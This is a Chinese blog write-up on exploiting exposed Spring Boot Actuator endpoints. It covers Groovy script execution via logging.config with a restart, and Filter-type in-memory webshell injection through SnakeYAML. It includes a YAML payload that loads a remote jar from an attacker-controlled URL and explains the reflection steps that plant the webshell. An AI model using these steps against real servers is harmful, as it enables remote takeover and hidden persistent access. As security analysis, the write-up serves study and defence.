SpringBoot Actuator之 logging.config grovvy rce分析及内存马注入

Qu3een 2022-06-08 09:57:00

Spring boot最经典的漏洞莫过于由于配置不当导致Actuator的相关路由暴露从而导致信息泄露以及各种远程命令执行漏洞。根据spingboot官方文档,以spring-boot 2.1.10版本为例,对于web应用程序来说,以下端口默认是开启的。
image.png
具体开放端口可通过management.endpoints.web.exposure.include=进行配置。一些公开的常用利用链包括spring cloud SnakeYAML RCE,通过设置 spring.cloud.bootstrap.location属性加载外部恶意 yml 文件和jolokia logback进行jndi利用。在整理Springboot关于Actuator的利用时,注意到groovy脚本执行的利用方式,以下对该漏洞利用原理进行分析。

0x00 设置logging.config属性执行groovy脚本

根据springboot相关文档说明:可通过Spring 环境属性“logging.config”进一步设置配置文件的位置。
image.png
同样首先通过/actuator/env接口修改logging.config的属性值。
image.png
然后通过/actuator/restart接口重启应用程序,使之重新加载修改到环境属性中的“logging.config”值,
image.png
关键代码在org.springframework.boot.context.logging.LoggingApplicationListener#initialize()方法中。如下图,通过this.initializeSystem(environment, this.loggingSystem, this.logFile);初始化Springboot应用程序的logging system。
image.png
此时environment包含:
image.png
跟进initializeSystem()方法到org.springframework.boot.context.logging.LoggingApplicationListener#initializeSystem()方法,从environment中取出logging.config属性,进入system.initialize(initializationContext, logConfig, logFile);
image.png
下面流程经org.springframework.boot.logging.logback.LogbackLoggingSystem#initialize()->org.springframework.boot.logging.logback.LogbackLoggingSystem#loadConfiguration()->org.springframework.boot.logging.logback.LogbackLoggingSystem#configureByResourceUrl()
image.png
url,即设置的logging.config值不是xml结尾的话,进入ch.qos.logback.classic.util.ContextInitializer#configureByResource()
image.png
image.png
logging.config属性值是以groovy结尾,进入GafferUtil.runGafferConfiguratorOn(loggerContext, this, url);。跟踪下来最终触发groovy.lang.GroovyShell#parse(java.lang.String);其中参数scriptText是从logging.config值中的url——http://127.0.0.1:8989/test.groovy中请求的groovy脚本内容
image.png
调用链如下图:
image.png
groovy脚本成功执行:
image.png
但是需要注意的是!该漏洞利用需要重启目标应用程序,可能会产生不可预料的破坏,尤其当设置的logging.config值所指向的groovy脚本不存在,或者groovy脚本中存在语法错误时,目标应用程序会不正常的退出。总之该漏洞慎用
image.png

0x01 利用spring cloud SnakeYAML利用注入Springboot内存马

对于Springboot来说,不能通过上传文件getshell,因此注入内存马技术对springboot来说很重要。对于springboot来说,根据内存马类型可大致分为filer型Interceptor型controller型。由于springboot在处理过程中先后顺序的差别(先经filter处理,然后到controller处理,再到Interceptor拦截器处理)。由于对权限控制的考虑,优先注入Filter型内存马。
Springboot内存吗注入思路:首先获取应用上下文ApplicationContext,对于内置服务器是tomcat的springboot应用来说,应用上下文是org.apache.catalina.core.ApplicationContextFacade类。通过org.apache.catalina.core.ApplicationContextFacadeaddFilter()方法注入自定义Filter。
image.png
因此重点是如何获取应用上下文呢?对于tomcat来说,可以通过request对象——org.apache.catalina.connector.Request类的getServletContext()方法获取。
image.png
因此现在又把目光放在如何获取request对象。一般从线程入手。通过调试,可通过Thread.currentThread().threadLocals.table获取线程中与request对象相关的对象,如下图所示,这里通过Thread.currentThread().threadLocals.table[12]value可获取request对象。
image.png
因此,进一步可通过((ServletRequestAttributes) Thread.currentThread().threadLocals.table[12].value).request.getServletContext();获取上下文环境,进而利用该上下文对象org.apache.catalina.core.ApplicationContextFacade调用addFilter()完成内存马注入。
image.png
细节方面,在org.apache.catalina.core.ApplicationContext#addFilter(java.lang.String, java.lang.String, javax.servlet.Filter)中,需满足this.context.getState()值为LifecycleState.STARTING_PREP,否则不能继续向下注入Filter。此操作可通过反射进行设置。
image.png
完成addFilter()操作后,通过org.apache.catalina.core.ApplicationFilterRegistrationaddMappingForServletNames()方法为该Filter设置路由。最后,别忘了再通过反射将该contextstate属性恢复原值。由此完成Springboot之Filter型内存马的注入。
这里需要注意的是,在一些场景下,比如通过jndi利用时,有可能当前线程Thread.currentThread()并不是http类的线程,因此需要遍历所有线程,在里面找与http相关的符合需要的线程。
对本例通过spring cloud SnakeYAML注入Filter内存马效果如下:
image.png
image.png
mem.yml文件内容为:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8989/mem.jar"]
  ]]
]

注入内存马的代码在mem.jar中。如何制作mem.jar包,请参考https://github.com/artsploit/yaml-payload
内存马注入后效果如下:
image.png

总结

关于Spring Boot Actuator相关利用方式有很多,但都跟配置相关,如大部分情况需要开启refresh接口,甚至在利用restart接口时更要慎重,否则利用不慎则会对目标应用异常退出。另外,根据目标应用实际暴露的endpoint以及mbeans,可能存在其他利用方式。

评论

Qu3een

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

神器分享 文章:71 篇
Exploit 文章:40 篇
PHP安全 文章:45 篇
逆向安全 文章:70 篇
MongoDB安全 文章:3 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录